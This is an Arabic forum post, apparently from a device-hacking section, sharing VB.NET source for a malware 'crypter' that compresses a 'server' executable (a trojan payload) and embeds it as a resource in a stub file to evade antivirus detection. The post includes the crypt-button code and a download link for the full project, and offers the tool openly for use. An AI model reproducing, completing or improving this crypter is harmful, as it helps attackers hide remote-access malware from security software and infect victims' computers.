[جوني العراقي]

لمسة, اخيرة, برنامج, تشفير, يحتاج, سورس

سورس برنامج تشفير يحتاج لمسة اخيرة

سلام عليكم ورحمة الله

اليوم معم اقدر انام عملت برنامج تشفير يحتاج لمسة اخيرة فقط
وهية سيت اب ومبروك عليك برنامج متكامل
صورة البرنامج


طبعا السورس يحتاج الى سيت اب فقط مرتب
وبل اخير قم باضافة الى زر التشفير الكود الاتي
Dim kbytes() As Byte
Dim ebytes() As Byte
Dim SVD As New SaveFileDialog
With SVD
.Title = "اختر مكان حفظ السيرفر المشفر"
.Filter = "تطبيقات|*.exe"
.ShowDialog()
End With
kbytes = IO.File.ReadAllBytes(TextBox1.Text)
ebytes = Compression.Compress(kbytes)
IO.File.WriteAllBytes(SVD.FileName, My.Resources.Folder)
WriteResource(SVD.FileName, ebytes)
MsgBox("Server Has Been Crypted Sacssasfly")

سورس البرنامج
http://upload.windows8vb.com/do.php?...8630129911.rar
انشالله غدا انزل برنامج تشفير كامل متكامل ومطوور رهيب

في امان الله

المصدر: development-point - للمزيد تابع : قسم إختراق الأجـهـزه والأيـمـيـلات

---

s,vs fvkhl[ jatdv dpjh[ glsm hodvm